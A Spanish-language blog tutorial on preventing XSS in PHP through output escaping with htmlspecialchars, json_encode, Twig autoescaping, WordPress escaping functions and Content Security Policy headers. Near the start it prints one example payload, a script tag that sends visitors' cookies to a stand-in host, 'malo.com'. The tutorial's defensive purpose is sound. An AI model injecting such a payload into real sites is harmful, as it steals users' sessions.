Cómo evitar ataques XSS en PHP

Los ataques XSS en PHP son uno de los problemas de seguridad más comunes en aplicaciones web: alguien consigue colar código JavaScript en tu página y se ejecuta en el navegador de tus usuarios. Evitarlo es sencillo si sabes dónde mirar.

Tienes un formulario de comentarios

El usuario escribe su nombre, tú lo guardas en la base de datos y luego lo muestras en la página. Hasta aquí todo bien. Ahora imagina que alguien escribe esto como nombre:

<script>document.location='https://malo.com/robar?cookie='+document.cookie</script>Lenguaje del código: HTML, XML (xml)

Si lo pinchas en la página sin más, ese script se ejecuta en el navegador de cualquiera que la visite. Acabas de regalar las cookies de sesión de tus usuarios a un desconocido. Eso es un XSS.

Dos tipos que te vas a encontrar

El stored XSS es el del ejemplo anterior: el código malicioso se guarda en la base de datos y se ejecuta cada vez que alguien carga la página. Es el más peligroso porque afecta a todos los visitantes sin que hagan nada.

El reflected XSS no se guarda: viaja en la URL y se ejecuta solo cuando alguien hace clic en un enlace preparado para eso. Menos dañino en general, pero muy usado en ataques de phishing dirigidos.

El problema está en la salida, no en la entrada

Mucha gente piensa en sanear los datos cuando entran (para evitar SQL injection, que es otro tema). Con XSS el problema está en la salida: en el momento en que imprimes algo en el HTML. Da igual si los datos vienen de un formulario, de la base de datos o de la URL, si los pinchas sin escapar, eres vulnerable.

La solución en PHP

La función que necesitas es htmlspecialchars(). Convierte los caracteres especiales en entidades HTML, así el navegador los muestra como texto en lugar de interpretarlos como código.

// Vulnerable
echo $nombre;

// Correcto
echo htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');Lenguaje del código: PHP (php)

El segundo parámetro ENT_QUOTES convierte tanto las comillas dobles como las simples, que es lo que quieres casi siempre. El tercero especifica la codificación, pon siempre UTF-8.

El contexto importa. Escapar dentro de un atributo HTML no es igual que escapar dentro de una URL:

// Dentro de un atributo HTML
<input value="<?= htmlspecialchars($valor, ENT_QUOTES, 'UTF-8') ?>">

// Dentro de una URL
<a href="<?= htmlspecialchars(urlencode($url), ENT_QUOTES, 'UTF-8') ?>">enlace</a>

// Nunca pintes datos del usuario directamente dentro de un bloque <script>
// Si necesitas pasar datos a JavaScript, usa json_encode()
<script>
  var nombre = <?= json_encode($nombre) ?>;
</script>Lenguaje del código: JavaScript (javascript)

Si usas un motor de plantillas como Twig, escapa automáticamente todo lo que pinchas con {{ variable }}. Solo tienes que preocuparte cuando uses {{ variable|raw }}, que desactiva el escapado. No lo uses si no sabes exactamente qué contiene esa variable.

Una capa extra: Content Security Policy

Las cabeceras CSP le dicen al navegador de dónde puede cargar scripts, estilos e imágenes. Si alguien consigue colar un script en tu página, una CSP bien configurada puede evitar que se ejecute o que envíe datos a otro dominio.

Content-Security-Policy: default-src 'self'; script-src 'self'Lenguaje del código: JavaScript (javascript)

Con esto solo se ejecutan scripts que vengan de tu propio dominio. No es un sustituto de escapar correctamente, pero es una red de seguridad que vale la pena tener.

En PHP puedes enviarla así:

header("Content-Security-Policy: default-src 'self'; script-src 'self'");Lenguaje del código: JavaScript (javascript)

Ojo: una CSP demasiado estricta puede romper cosas. Empieza en modo Content-Security-Policy-Report-Only para ver qué bloquearía antes de activarla del todo.

Si estás con WordPress

No uses htmlspecialchars() directamente. WordPress tiene funciones de escapado según el contexto que hacen lo mismo pero integradas con el resto del sistema:

  • esc_html() para texto dentro de HTML
  • esc_attr() para valores de atributos
  • esc_url() para URLs
  • wp_kses() si necesitas permitir algunas etiquetas HTML pero no todas (típico en campos de texto enriquecido)

Si desarrollas un plugin, úsalas siempre que pintes algo en pantalla.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Captcha cargando...

Scroll al inicio